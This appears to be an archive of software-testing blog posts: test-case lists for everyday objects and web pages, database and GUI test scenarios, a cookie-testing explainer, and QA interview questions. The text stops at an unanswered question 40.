Software Engineering

Test Cases

2023-02-16T23:04:00.001-08:00

1.Test Case for ATM

TC 1 :- successful card insertion.
TC 2 :- unsuccessful operation due to wrong angle card insertion.
TC 3:- unsuccessful operation due to invalid account card.
TC 4:- successful entry of pin number.
TC 5:- unsuccessful operation due to wrong pin number entered 3 times.
TC 6:- successful selection of language.
TC 7:- successful selection of account type.
TC 8:- unsuccessful operation due to wrong account type selected w/r to that inserted card.
TC 9:- successful selection of withdrawal option.
TC 10:- successful selection of amount.
TC 11:- unsuccessful operation due to wrong denominations.
TC 12:- successful withdrawal operation.
TC 13:- unsuccessful withdrawal operation due to amount greater than possible balance.
TC 14:- unsuccessful due to lack of amount in ATM.
TC 15:- un due to amount greater than the day limit.
TC 16:- un due to server down.
TC 17:- un due to click cancel after insert card.
TC 18:- un due to click cancel after insert card and pin no.
TC 19:- un due to click cancel after language selection,account type selection,withdrawal selection, enter amount

2. Test cases for Traffic Signal

verify if the traffic lights are having three lights(green,yellow,red)
verify that the lights turn on in a sequence
verify that lights turn on in a sequence based on time specified(green light-4.1min,yellowlight10sec,red-light 1 min)
verify that only one light glows at a time
verify if the speed of the Traffic light can be accelerated as time specified based on the traffic
verify if the traffic lights in some spots are sensor activated.
Verify that light are properly visible and dark and are on proper height so normal human eyes can see it propely at night and day.
Verify it shows remaining time.

3. Test case for 2 way switch

Check whether two switches are present.
Check whether both switches are connected properly.
Check power supplies for both switches.
Check on/off conditions are working properly.
Check whether any electronic appliances connected to the 2-way switches should not get power supply when both switches are either in on state or off state.
Check whether any electronic appliances connected to the 2-way switches should get power supply when one switch is in on state and other is in off state or vice versa.

4 . Write the test cases on Chair?

Ans.

a. Check whether the chair is very comfortable to take rest.

b. Check whether the chair is available in your favorite color.

c. Check whether the chair is made up of plastic or wood.

d. Check it has got wheels at bottom to move from one place to another place.

e. Check whether it has got some extra adds ins to stretch on back.

f. Check whether it has got any seating adjustment to make height high or low.

g. Check whether the chair seat has got some air space to flow of air.

h. Check whether the chair has got enough space to be seat with fat or thin
people.

i. Check whether the chair is up to your price.

j. Check whether the chair is very attractive.

k. (Out of box) throw the chair from 1^st or 2^nd floor to check the capacity. That is not easily breakable.

You can add some more answer and test cases…

l. Check how much weight it can handle.

5. Write the test cases on Ring?

a. It is easily in and out in the figure.

b. Verify it is not harmful to the skin.

c. Verify it is suitable in each climatic condition.

d. Check the design is very attractive.

e. Check the ring is made up of metal or gold or silver.

f. Check whether the ring is up to your price.

g. Check whether it is not breakable easily.

6. Test cases Calculator

It should have 9 numeric digits.
it should give proper output based on the operation.
it should not allow characters.
it should run from cell or battery not through power supply.
it should be small in size.
at least it should perform 4 basic operation such as
add,sub.div, multiplication

7.Write the test cases on Pen?

· Pen’s ink should be dark so that normal human eyes can read clearly.

· Pen should be continuously in writing mode.

. pen’s refill should be available in different color.

· Pen should have the soft grip at the middle place for usability.

· Pen should be in continuously writing mode under hottest and coolest temperature.

· If pen drops from the several feet then also it should be in continuously writing mode if ink is available in pen.

· Pen should not be “Use and throw” type.

· Pen’s refill should be replaceable.

· Pen shape should be straight.

. Pen height and size should be as per standards so than can user can easily carry and hold it.

8. Write the test cases on bulb?

Check the bulb is required shape and size
Check the bulb is fitted and removed from holder
Check the bulb glow required illumination are not
Check the bulb it should glow when we switch on
Check the bulb it should off when we switch off
Check the bulb material
Life of the bulb should meet the requirement

8. Test Case for Yahoo Page

Check the Logo of Yahoo on yahoo page when yahoo page get open.
Check the UI of yahoo page.
Testing without entering any username and password.
Test it only with Username
Test it only with password.
User name with wrong password
Password with wrong user name
Right username and right password
Cancel, after entering username and password.
Enter long username and password that exceeds the set limit of characters.
Try copy/paste in the password text box.
After successful sign-out, try “Back” option from your browser. Check whether it gets you to the “signed-in” page.

9. Test cases on bottle:

Check whether the bottle is made up of plastic or glass.

Check it is available in various color.

To check whether it does not have any leakage.

checking its base so that we can steady on plan surface.

If it is made up from glass then its behavior in deep freezer.

Through it from some height to check it is not easily breakable.

check it in each climatic condition.

Verify that it should contain cold as well as hot water/liquid or not.

10. Test case for Lift?

1. Check for the appropriate no of buttons?
2. What happen if I touch the open button twice?
3. What happen when I press open button while lift is
moving and it is in the middle of the two floors.
4. What happen when I press the open button for some time?
5. Check for the sound when lift is opening.
6. Check for the direction by pressing up and down button.
7. Enter in the lift specify the floor say 4 and check for
the corresponding floor?
8. Lift is moving and the power break off. Does the alarm
blow in the control room that there is power break off?
9. Also check for the case how the inside person inform the
lift man that he got stuck in the lift (if there is phone
button does it works)?
10. Also check for the response time to start lift again?
11. When a person is in the lift any light is there or not?
12. How many persons at a time will carry the lift in the
since in moving time.
13. With out load if we press the up button is it moving or
not.
14. What happen with out specifying the floor number if we
press the up or down?
15. What happen if the lift is in over load mode (over load
sound will come before moving or it moves).
16. With out load if we press the up button and specify the
floor number what is happening?
17. Is the door get closed itself or have to close manually.
18. If the door closed automatically check for the closing
time?
19. If the door closed automatically also check for the
sensor? Suppose the closing time is 2 min and it passed and
people are still getting in. What happen does the door get
closed or wait for the people to get in?
20. What happen when you press the same floor number on
which lift is already there?
21. After getting into the lift one person is there he
wants to go up but we want to go down already he specified
the floor number before we enter in to the lift. After that
we specified our floor number then what will be the
priority of the lift?
22. Lift is empty and is moving downwards I entered and
want to go up. Is there the button to change the direction
of lift and the button working?
23. Is the floor number displayed up in side the lift
correct?
24. When happen when the out side person want to open the
door but
Inside person wants to close the door at the same time.

Performance Testing Test Scenarios

2013-07-01T01:51:00.001-07:00

1. Check if page load time is within acceptable range 2. Check page load on slow connections 3. Check response time for any action under light, normal, moderate and heavy load conditions 4. Check performance of database stored procedures and triggers 5. Check database query execution time 6. Check for load testing of application 7. Check for stress testing of application 8. Check CPU and memory usage under peak load condition

Database Testing Test Scenarios

2013-07-01T01:50:00.002-07:00

1. Check if correct data is getting saved in database upon successful page submit 2. Check values for columns which are not accepting null values 3. Check for data integrity. Data should be stored in single or multiple tables based on design 4. Index names should be given as per the standards e.g. IND__ 5. Tables should have primary key column 6. Table columns should have description information available (except for audit columns like created date, created by etc.) 7. For every database add/update operation log should be added 8. Required table indexes should be created 9. Check if data is committed to database only when the operation is successfully completed 10. Data should be rolled back in case of failed transactions 11. Database name should be given as per the application type i.e. test, UAT, sandbox, live (though this is not a standard it is helpful for database maintenance) 12. Database logical names should be given according to database name (again this is not standard but helpful for DB maintenance) 13. Stored procedures should not be named with prefix “sp_” 14. Check is values for table audit columns (like createddate, createdby, updatedate, updatedby, isdeleted, deleteddate, deletedby etc.) are populated properly 15. Check if input data is not truncated while saving. Field length shown to user on page and in database schema should be same 16. Check numeric fields with minimum, maximum, and float values 17. Check numeric fields with negative values (for both acceptance and non-acceptance) 18. Check if radio button and dropdown list options are saved correctly in database 19. Check if database fields are designed with correct data type and data length 20. Check if all table constraints like Primary key, Foreign key etc. are implemented correctly 21. Test stored procedures and triggers with sample input data 22. Input field leading and trailing spaces should be truncated before committing data to database 23. Null values should not be allowed for Primary key column

GUI and Usability Test Scenarios

2013-07-01T01:47:00.002-07:00

1. All fields on page (e.g. text box, radio options, dropdown lists) should be aligned properly 2. Numeric values should be right justified unless specified otherwise 3. Enough space should be provided between field labels, columns, rows, error messages etc. 4. Scroll bar should be enabled only when necessary 5. Font size, style and color for headline, description text, labels, infield data, and grid info should be standard as specified in SRS 6. Description text box should be multi-line 7. Disabled fields should be grayed out and user should not be able to set focus on these fields 8. Upon click of any input text field, mouse arrow pointer should get changed to cursor 9. User should not be able to type in drop down select lists 10. Information filled by users should remain intact when there is error message on page submit. User should be able to submit the form again by correcting the errors 11. Check if proper field labels are used in error messages 12. Dropdown field values should be displayed in defined sort order 13. Tab and Shift+Tab order should work properly 14. Default radio options should be pre-selected on page load 15. Field specific and page level help messages should be available 16. Check if correct fields are highlighted in case of errors 17. Check if dropdown list options are readable and not truncated due to field size limit 18. All buttons on page should be accessible by keyboard shortcuts and user should be able to perform all operations using keyboard 19. Check all pages for broken images 20. Check all pages for broken links 21. All pages should have title 22. Confirmation messages should be displayed before performing any update or delete operation 23. Hour glass should be displayed when application is busy 24. Page text should be left justified 25. User should be able to select only one radio option and any combination for check boxes.

General Test Scenarios

2013-07-01T01:41:00.003-07:00

1. All mandatory fields should be validated and indicated by asterisk (*) symbol 2. Validation error messages should be displayed properly at correct position 3. All error messages should be displayed in same CSS style (e.g. using red color) 4. General confirmation messages should be displayed using CSS style other than error messages style (e.g. using green color) 5. Tool tips text should be meaningful 6. Dropdown fields should have first entry as blank or text like ‘Select’ 7. Delete functionality for any record on page should ask for confirmation 8. Select/deselect all records options should be provided if page supports record add/delete/update functionality 9. Amount values should be displayed with correct currency symbols 10. Default page sorting should be provided 11. Reset button functionality should set default values for all fields 12. All numeric values should be formatted properly 13. Input fields should be checked for max field value. Input values greater than specified max limit should not be accepted or stored in database 14. Check all input fields for special characters 15. Field labels should be standard e.g. field accepting user’s first name should be labeled properly as ‘First Name’ 16. Check page sorting functionality after add/edit/delete operations on any record 17. Check for timeout functionality. Timeout values should be configurable. Check application behavior after operation timeout 18. Check cookies used in an application 19. Check if downloadable files are pointing to correct file paths 20. All resource keys should be configurable in config files or database instead of hard coding 21. Standard conventions should be followed throughout for naming resource keys 22. Validate markup for all web pages (validate HTML and CSS for syntax errors) to make sure it is compliant with the standards 23. Application crash or unavailable pages should be redirected to error page 24. Check text on all pages for spelling and grammatical errors 25. Check numeric input fields with character input values. Proper validation message should appear 26. Check for negative numbers if allowed for numeric fields 27. Check amount fields with decimal number values 28. Check functionality of buttons available on all pages 29. User should not be able to submit page twice by pressing submit button in quick succession. 30. Divide by zero errors should be handled for any calculations 31. Input data with first and last position blank should be handled correctly

SQL Join

2012-04-07T23:38:00.001-07:00

Cookie Testing

2012-03-21T01:58:00.000-07:00

What is Cookie?
Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve information from that machine. Generally cookie contains personalized user data or information that is used to communicate between different web pages.
Why Cookies are used?
Cookies are nothing but the user’s identity and used to track where the user navigated throughout the web site pages. The communication between web browser and web server is stateless.
For example if you are accessing domain http://www.example.com/1.html then web browser will simply query to example.com web server for the page 1.html. Next time if you type page as http://www.example.com/2.html then new request is send to example.com web server for sending 2.html page and web server don’t know anything about to whom the previous page 1.html served.
What if you want the previous history of this user communication with the web server? You need to maintain the user state and interaction between web browser and web server somewhere. This is where cookie comes into picture. Cookies serve the purpose of maintaining the user interactions with web server.
How cookies work?
The HTTP protocol used to exchange information files on the web is used to maintain the cookies. There are two types of HTTP protocol. Stateless HTTP and Stateful HTTP protocol. Stateless HTTP protocol does not keep any record of previously accessed web page history. While Stateful HTTP protocol do keep some history of previous web browser and web server interactions and this protocol is used by cookies to maintain the user interactions.
Whenever user visits the site or page that is using cookie, small code inside that HTML page (Generally a call to some language script to write the cookie like cookies in JAVAScript, PHP, Perl) writes a text file on users machine called cookie.
Here is one example of the code that is used to write cookie and can be placed inside any HTML page:
Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME;
When user visits the same page or domain later time this cookie is read from disk and used to identify the second visit of the same user on that domain. Expiration time is set while writing the cookie. This time is decided by the application that is going to use the cookie.
Generally two types of cookies are written on user machine.
1) Session cookies: This cookie is active till the browser that invoked the cookie is open. When we close the browser this session cookie gets deleted. Some time session of say 20 minutes can be set to expire the cookie.
2) Persistent cookies: The cookies that are written permanently on user machine and lasts for months or years.
Where cookies are stored?
When any web page application writes cookie it get saved in a text file on user hard disk drive. The path where the cookies get stored depends on the browser. Different browsers store cookie in different paths. E.g. Internet explorer store cookies on path “C:\Documents and Settings\Default User\Cookies”
Here the “Default User” can be replaced by the current user you logged in as. Like “Administrator”, or user name like “Vijay” etc.
The cookie path can be easily found by navigating through the browser options. In Mozilla Firefox browser you can even see the cookies in browser options itself. Open the Mozila browser, click on Tools->Options->Privacy and then “Show cookies” button.
How cookies are stored?
Lets take example of cookie written by rediff.com on Mozilla Firefox browser:
On Mozilla Firefox browser when you open the page rediff.com or login to your rediffmail account, a cookie will get written on your Hard disk. To view this cookie simply click on “Show cookies” button mentioned on above path. Click on Rediff.com site under this cookie list. You can see different cookies written by rediff domain with different names.
Site: Rediff.com Cookie name: RMID
Name: RMID (Name of the cookie)
Content: 1d11c8ec44bf49e0… (Encrypted content)
Domain: .rediff.com
Path: / (Any path after the domain name)
Send For: Any type of connection
Expires: Thursday, December 31, 2020 11:59:59 PM
Applications where cookies can be used:
1) To implement shopping cart:
Cookies are used for maintaining online ordering system. Cookies remember what user wants to buy. What if user adds some products in their shopping cart and if due to some reason user don’t want to buy those products this time and closes the browser window? When next time same user visits the purchase page he can see all the products he added in shopping cart in his last visit.
2) Personalized sites:
When user visits certain pages they are asked which pages they don’t want to visit or display. User options are get stored in cookie and till the user is online, those pages are not shown to him.
3) User tracking:
To track number of unique visitors online at particular time.
4) Marketing:
Some companies use cookies to display advertisements on user machines. Cookies control these advertisements. When and which advertisement should be shown? What is the interest of the user? Which keywords he searches on the site? All these things can be maintained using cookies.
5) User sessions:
Cookies can track user sessions to particular domain using user ID and password.
Drawbacks of cookies:
1) Even writing Cookie is a great way to maintain user interaction, if user has set browser options to warn before writing any cookie or disabled the cookies completely then site containing cookie will be completely disabled and can not perform any operation resulting in loss of site traffic.
2) Too many Cookies:
If you are writing too many cookies on every page navigation and if user has turned on option to warn before writing cookie, this could turn away user from your site.
3) Security issues:
Some times users personal information is stored in cookies and if someone hack the cookie then hacker can get access to your personal information. Even corrupted cookies can be read by different domains and lead to security issues.
4) Sensitive information:
Some sites may write and store your sensitive information in cookies, which should not be allowed due to privacy concerns.
This should be enough to know what cookies are. If you want more cookie info see Cookie Central page.
Some Major Test cases for web application cookie testing:
The first obvious test case is to test if your application is writing cookies properly on disk. You can use the Cookie Tester application also if you don’t have any web application to test but you want to understand the cookie concept for testing.
Test cases:
1) As a Cookie privacy policy make sure from your design documents that no personal or sensitive data is stored in the cookie.
2) If you have no option than saving sensitive data in cookie make sure data stored in cookie is stored in encrypted format.
3) Make sure that there is no overuse of cookies on your site under test. Overuse of cookies will annoy users if browser is prompting for cookies more often and this could result in loss of site traffic and eventually loss of business.
4) Disable the cookies from your browser settings: If you are using cookies on your site, your sites major functionality will not work by disabling the cookies. Then try to access the web site under test. Navigate through the site. See if appropriate messages are displayed to user like “For smooth functioning of this site make sure that cookies are enabled on your browser”. There should not be any page crash due to disabling the cookies. (Please make sure that you close all browsers, delete all previously written cookies before performing this test)
5) Accepts/Reject some cookies: The best way to check web site functionality is, not to accept all cookies. If you are writing 10 cookies in your web application then randomly accept some cookies say accept 5 and reject 5 cookies. For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie. Try to access major functionality of web site. See if pages are getting crashed or data is getting corrupted.
6) Delete cookie: Allow site to write the cookies and then close all browsers and manually delete all cookies for web site under test. Access the web pages and check the behavior of the pages.
7) Corrupt the cookies: Corrupting cookie is easy. You know where cookies are stored. Manually edit the cookie in notepad and change the parameters to some vague values. Like alter the cookie content, Name of the cookie or expiry date of the cookie and see the site functionality. In some cases corrupted cookies allow to read the data inside it for any other domain. This should not happen in case of your web site cookies. Note that the cookies written by one domain say rediff.com can’t be accessed by other domain say yahoo.com unless and until the cookies are corrupted and someone trying to hack the cookie data.
8 ) Checking the deletion of cookies from your web application page: Some times cookie written by domain say rediff.com may be deleted by same domain but by different page under that domain. This is the general case if you are testing some ‘action tracking’ web portal. Action tracking or purchase tracking pixel is placed on the action web page and when any action or purchase occurs by user the cookie written on disk get deleted to avoid multiple action logging from same cookie. Check if reaching to your action or purchase page deletes the cookie properly and no more invalid actions or purchase get logged from same user.
9) Cookie Testing on Multiple browsers: This is the important case to check if your web application page is writing the cookies properly on different browsers as intended and site works properly using these cookies. You can test your web application on Major used browsers like Internet explorer (Various versions), Mozilla Firefox, Netscape, Opera etc.
10) If your web application is using cookies to maintain the logging state of any user then log in to your web application using some username and password. In many cases you can see the logged in user ID parameter directly in browser address bar. Change this parameter to different value say if previous user ID is 100 then make it 101 and press enter. The proper access message should be displayed to user and user should not be able to see other users account.
These are some Major test cases to be considered while testing website cookies. You can write multiple test cases from these test cases by performing various combinations. If you have some different application scenario, you can mention your test cases in comments below.

Interview Software Testing

2012-01-24T22:49:00.000-08:00

1. What is Test Bed?
An execution environment configured for testing. May consist of specific hardware, OS, network topology, configuration of the product under test, other application or system software, etc. The Test Plan for a project should enumerated the test beds(s) to be used.

2. What is Test Case?
Test Case is a commonly used term for a specific test. This is usually the smallest unit of testing. A Test Case will consist of information such as requirements testing, test steps, verification steps, prerequisites, outputs, test environment, etc. A set of inputs, execution preconditions, and expected outcomes developed for a particular objective, such as to exercise a particular program path or to verify compliance with a specific requirement. Test Driven Development? Testing methodology associated with Agile Programming in which every chunk of code is covered by unit tests, which must all pass all the time, in an effort to eliminate unit-level and regression bugs during development. Practitioners of TDD write a lot of tests, i.e. an equal number of lines of test code to the size of the production code.

3. What is Test Driver?
A program or test tool used to execute a tests. Also known as a Test Harness.

4. What is Test Environment?
The hardware and software environment in which tests will be run, and any other software with which the software under test interacts when under test including stubs and test drivers.

5. What is Test First Design?
Test-first design is one of the mandatory practices of Extreme Programming (XP).It requires that programmers do not write any production code until they have first written a unit test.

6. What is Test Harness?
A program or test tool used to execute a tests. Also known as a Test Driver.

7. What is Test Plan?
A document describing the scope, approach, resources, and schedule of intended testing activities. It identifies test items, the features to be tested, the testing tasks, who will do each task, and any risks requiring contingency planning.

8. What is Test Procedure?
A document providing detailed instructions for the execution of one or more test cases.

9. What is Test Script?
Commonly used to refer to the instructions for a particular test that will be carried out by an automated test tool.

10. What is Test Specification?
A document specifying the test approach for a software feature or combination or features and the inputs, predicted results and execution conditions for the associated tests.

11. What is Test Suite?
A collection of tests used to validate the behavior of a product. The scope of a Test Suite varies from organization to organization. There may be several Test Suites for a particular product for example. In most cases however a Test Suite is a high level concept, grouping together hundreds or thousands of tests related by what they are intended to test.

12. What is Test Tools?
Computer programs used in the testing of a system, a component of the system, or its documentation.

13. What is Thread Testing?
A variation of top-down testing where the progressive integration of components follows the implementation of subsets of the requirements, as opposed to the integration of components by successively lower levels.

14. What is Top Down Testing?
An approach to integration testing where the component at the top of the component hierarchy is tested first, with lower level components being simulated by stubs. Tested components are then used to test lower level components. The process is repeated until the lowest level components have been tested.

15. What is Total Quality Management?
A company commitment to develop a process that achieves high quality product and customer satisfaction.

16. What is Traceability Matrix?
A document showing the relationship between Test Requirements and Test Cases.

17. What is Usability Testing?
Testing the ease with which users can learn and use a product.

18. What is Use Case?
The specification of tests that are conducted from the end-user perspective. Use cases tend to focus on operating software as an end-user would conduct their day-to-day activities.

19. What is Unit Testing?
Testing of individual software components.

20. What is Validation?
The process of evaluating software at the end of the software development process to ensure compliance with software requirements. The techniques for validation is testing, inspection and reviewing.

21. What is Verification?
The process of determining whether of not the products of a given phase of the software development cycle meet the implementation steps and can be traced to the incoming objectives established during the previous phase. The techniques for verification are testing, inspection and reviewing.

22. What is White Box Testing?
Testing based on an analysis of internal workings and structure of a piece of software. Includes techniques such as Branch Testing and Path Testing. Also known as Structural Testing and Glass Box Testing. Contrast with Black Box Testing. White box testing is used to test the internal logic of the code for ex checking whether the path has been executed once, checking whether the branches has been executed atleast once .....Used to check the structure of the code.

23. What is Workflow Testing?
Scripted end-to-end testing which duplicates specific workflows which are expected to be utilized by the end-user.

24. What's the difference between load and stress testing ?
One of the most common, but unfortunate misuse of terminology is treating “load testing” and “stress testing” as synonymous. The consequence of this ignorant semantic abuse is usually that the system is neither properly “load tested” nor subjected to a meaningful stress test. Stress testing is subjecting a system to an unreasonable load while denying it the resources (e.g., RAM, disc, mips, interrupts, etc.) needed to process that load. The idea is to stress a system to the breaking point in order to find bugs that will make that break potentially harmful. The system is not expected to process the overload without adequate resources, but to behave (e.g., fail) in a decent manner (e.g., not corrupting or losing data). Bugs and failure modes discovered under stress testing may or may not be repaired depending on the application, the failure mode, consequences, etc. The load (incoming transaction stream) in stress testing is often deliberately distorted so as to force the system into resource depletion. Load testing is subjecting a system to a statistically representative (usually) load. The two main reasons for using such loads is in support of software reliability testing and in performance testing. The term 'load testing' by itself is too vague and imprecise to warrant use. For example, do you mean representative load,' 'overload,' 'high load,' etc. In performance testing, load is varied from a minimum (zero) to the maximum level the system can sustain without running out of resources or having, transactions >suffer (application-specific) excessive delay. A third use of the term is as a test whose objective is to determine the maximum sustainable load the system can handle. In this usage, 'load testing' is merely testing at the highest transaction arrival rate in performance testing.

25. What's the difference between QA and testing?
QA is more a preventive thing, ensuring quality in the company and therefore the product rather than just testing the product for software bugs? TESTING means 'quality control' QUALITY CONTROL measures the quality of a product QUALITY ASSURANCE measures the quality of processes used to create a quality product.

26. What is the best tester to developer ratio?
Reported tester: developer ratios range from 10:1 to 1:10. There's no simple answer. It depends on so many things, Amount of reused code, number and type of interfaces, platform, quality goals, etc. It also can depend on the development model. The more specs, the less testers. The roles can play a big part also. Does QA own beta? Do you include process auditors or planning activities? These figures can all vary very widely depending on how you define 'tester' and 'developer'. In some organizations, a 'tester' is anyone who happens to be testing software at the time -- such as their own. In other organizations, a 'tester' is only a member of an independent test group. It is better to ask about the test labor content than it is to ask about the tester/developer ratio. The test labor content, across most applications is generally accepted as 50%, when people do honest accounting. For life-critical software, this can go up to 80%.

27. How can new Software QA processes be introduced in an existing organization?
- A lot depends on the size of the organization and the risks involved. For large organizations with high-risk (in terms of lives or property) projects, serious management buy-in is required and a formalized QA process is necessary. - Where the risk is lower, management and organizational buy-in and QA implementation may be a slower, step-at-a-time process. QA processes should be balanced with productivity so as to keep bureaucracy from getting out of hand. - For small groups or projects, a more ad-hoc process may be appropriate, depending on the type of customers and projects. A lot will depend on team leads or managers, feedback to developers, and ensuring adequate communications among customers, managers, developers, and testers. - In all cases the most value for effort will be in requirements management processes, with a goal of clear, complete, testable requirement specifications or expectations.

28. What are 5 common problems in the software development process?
1. poor requirements - if requirements are unclear, incomplete, too general, or not testable, there will be problems. 2. unrealistic schedule - if too much work is crammed in too little time, problems are inevitable. 3. inadequate testing - no one will know whether or not the program is any good until the customer complains or systems crash. 4. features - requests to pile on new features after development is underway; extremely common. 5. miscommunication - if developers don't know what's needed or customer's have erroneous expectations, problems are guaranteed.

29. What are 5 common solutions to software development problems?
1. solid requirements - clear, complete, detailed, cohesive, attainable, testable requirements that are agreed to by all players. Use prototypes to help nail down requirements. 2. realistic schedules - allow adequate time for planning, design, testing, bug fixing, re-testing, changes, and documentation; personnel should be able to complete the project without burning out. 3. adequate testing - start testing early on, re-test after fixes or changes, plan for adequate time for testing and bug-fixing. 4. stick to initial requirements as much as possible - be prepared to defend against changes and additions once development has begun, and be prepared to explain consequences. If changes are necessary, they should be adequately reflected in related schedule changes. If possible, use rapid prototyping during the design phase so that customers can see what to expect. This will provide them a higher comfort level with their requirements decisions and minimize changes later on. 5. communication - require walkthroughs and inspections when appropriate; make extensive use of group communication tools - e-mail, groupware, networked bug-tracking tools and change management tools, intranet capabilities, etc.; insure that documentation is available and up-to-date - preferably electronic, not paper; promote teamwork and cooperation; use prototypes early on so that customers' expectations are clarified.

30. What is 'good code'?
'Good code' is code that works, is bug free, and is readable and maintainable. Some organizations have coding 'standards' that all developers are supposed to adhere to, but everyone has different ideas about what's best, or what is too many or too few rules. There are also various theories and metrics, such as McCabe Complexity metrics. It should be kept in mind that excessive use of standards and rules can stifle productivity and creativity. 'Peer reviews', 'buddy checks' code analysis tools, etc. can be used to check for problems and enforce standards. For C and C++ coding, here are some typical ideas to consider in setting rules/standards; these may or may not apply to a particular situation: - minimize or eliminate use of global variables. - use descriptive function and method names - use both upper and lower case, avoid abbreviations, use as many characters as necessary to be adequately descriptive (use of more than 20 characters is not out of line); be consistent in naming conventions. - use descriptive variable names - use both upper and lower case, avoid abbreviations, use as many characters as necessary to be adequately descriptive (use of more than 20 characters is not out of line); be consistent in naming conventions. - function and method sizes should be minimized; less than 100 lines of code is good, less than 50 lines is preferable. - function descriptions should be clearly spelled out in comments preceding a function's code.- organize code for readability. - use whitespace generously - vertically and horizontally - each line of code should contain 70 characters max. - one code statement per line. - coding style should be consistent throughout a program (eg, use of brackets, indentations, naming conventions, etc.) - in adding comments, err on the side of too many rather than too few comments; a common rule of thumb is that there should be at least as many lines of comments (including header blocks) as lines of code. - no matter how small, an application should include documentation of the overall program function and flow (even a few paragraphs is better than nothing); or if possible a separate flow chart and detailed program documentation. - make extensive use of error handling procedures and status and error logging. - for C++, to minimize complexity and increase maintainability, avoid too many levels of inheritance in class hierarchies (relative to the size and complexity of the application). Minimize use of multiple inheritance, and minimize use of operator overloading (note that the Java programming language eliminates multiple inheritance and operator overloading.) - for C++, keep class methods small, less than 50 lines of code per method is preferable. - for C++, make liberal use of exception handlers

31. What is 'good design'?
'Design' could refer to many things, but often refers to 'functional design' or 'internal design'. Good internal design is indicated by software code whose overall structure is clear, understandable, easily modifiable, and maintainable; is robust with sufficient error-handling and status logging capability; and works correctly when implemented. Good functional design is indicated by an application whose functionality can be traced back to customer and end-user requirements. For programs that have a user interface, it's often a good idea to assume that the end user will have little computer knowledge and may not read a user manual or even the on-line help; some common rules-of-thumb include: - the program should act in a way that least surprises the user - it should always be evident to the user what can be done next and how to exit - the program shouldn't let the users do something stupid without warning them.

32. What makes a good test engineer?
A good test engineer has a 'test to break' attitude, an ability to take the point of view of the customer, a strong desire for quality, and an attention to detail. Tact and diplomacy are useful in maintaining a cooperative relationship with developers, and an ability to communicate with both technical (developers) and non-technical (customers, management) people is useful. Previous software development experience can be helpful as it provides a deeper understanding of the software development process, gives the tester an appreciation for the developers' point of view, and reduce the learning curve in automated test tool programming. Judgment skills are needed to assess high-risk areas of an application on which to focus testing efforts when time is limited.

33. What makes a good Software QA engineer?
The same qualities a good tester has are useful for a QA engineer. Additionally, they must be able to understand the entire software development process and how it can fit into the business approach and goals of the organization. Communication skills and the ability to understand various sides of issues are important. In organizations in the early stages of implementing QA processes, patience and diplomacy are especially needed. An ability to find problems as well as to see 'what's missing' is important for inspections and reviews.

34. What makes a good QA or Test manager?
A good QA, test, or QA/Test(combined) manager should: - be familiar with the software development process - be able to maintain enthusiasm of their team and promote a positive atmosphere, despite what is a somewhat 'negative' process (e.g., looking for or preventing problems) - be able to promote teamwork to increase productivity - be able to promote cooperation between software, test, and QA engineers - have the diplomatic skills needed to promote improvements in QA processes -have the ability to withstand pressures and say 'no' to other managers when quality is insufficient or QA processes are not being adhered to - have people judgement skills for hiring and keeping skilled personnel- be able to communicate with technical and non-technical people, engineers, managers, and customers. - be able to run meetings and keep them focused

35. What's the role of documentation in QA?
Critical. (Note that documentation can be electronic, not necessarily paper.) QA practices should be documented such that they are repeatable. Specifications, designs, business rules, inspection reports, configurations, code changes, test plans, test cases, bug reports, user manuals, etc. should all be documented. There should ideally be a system for easily finding and obtaining documents and determining what documentation will have a particular piece of information. Change management for documentation should be used if possible.

36. What's the big deal about 'requirements'?
One of the most reliable methods of insuring problems, or failure, in a complex software project is to have poorly documented requirements specifications. Requirements are the details describing an application's externally-perceived functionality and properties. Requirements should be clear, complete, reasonably detailed, cohesive, attainable, and testable. A non-testable requirement would be, for example, 'user-friendly' (too subjective). A testable requirement would be something like 'the user must enter their previously-assigned password to access the application'. Determining and organizing requirements details in a useful and efficient way can be a difficult effort; different methods are available depending on the particular project. Many books are available that describe various approaches to this task. Care should be taken to involve ALL of a project's significant 'customers' in the requirements process. 'Customers' could be in-house personnel or out, and could include end-users, customer acceptance testers, customer contract officers, customer management, future software maintenance engineers, salespeople, etc. Anyone who could later derail the project if their expectations aren't met should be included if possible. Organizations vary considerably in their handling of requirements specifications. Ideally, the requirements are spelled out in a document with statements such as 'The product shall.....'. 'Design' specifications should not be confused with 'requirements'; design specifications should be traceable back to the requirements. In some organizations requirements may end up in high level project plans, functional specification documents, in design documents, or in other documents at various levels of detail. No matter what they are called, some type of documentation with detailed requirements will be needed by testers in order to properly plan and execute tests. Without such documentation, there will be no clear-cut way to determine if a software application is performing correctly.

37. What steps are needed to develop and run software tests?
The following are some of the steps to consider: - Obtain requirements, functional design, and internal design specifications and other necessary documents - Obtain budget and schedule requirements - Determine project-related personnel and their responsibilities, reporting requirements, required standards and processes (such as release processes, change processes, etc.) - Identify application's higher-risk aspects, set priorities, and determine scope and limitations of tests - Determine test approaches and methods - unit, integration, functional, system, load, usability tests, etc. - Determine test environment requirements (hardware, software, communications, etc.) -Determine testware requirements (record/playback tools, coverage analyzers, test tracking, problem/bug tracking, etc.) - Determine test input data requirements - Identify tasks, those responsible for tasks, and labor requirements - Set schedule estimates, timelines, milestones - Determine input equivalence classes, boundary value analyses, error classes - Prepare test plan document and have needed reviews/approvals - Write test cases - Have needed reviews/inspections/approvals of test cases - Prepare test environment and testware, obtain needed user manuals/reference documents/configuration guides/installation guides, set up test tracking processes, set up logging and archiving processes, set up or obtain test input data - Obtain and install software releases - Perform tests - Evaluate and report results - Track problems/bugs and fixes - Retest as needed - Maintain and update test plans, test cases, test environment, and testware through life cycle

38. What is 'configuration management'?
Configuration management covers the processes used to control, coordinate, and track: code, requirements, documentation, problems, change requests, designs, tools/compilers/libraries/patches, changes made to them, and who makes the changes.

39. What if the software is so buggy it can't really be tested at all?
The best bet in this situation is for the testers to go through the process of reporting whatever bugs or blocking-type problems initially show up, with the focus being on critical bugs. Since this type of problem can severely affect schedules, and indicates deeper problems in the software development process (such as insufficient unit testing or insufficient integration testing, poor design, improper build or release procedures, etc.) managers should be notified, and provided with some documentation as evidence of the problem.

40. How can it be known when to stop testing?
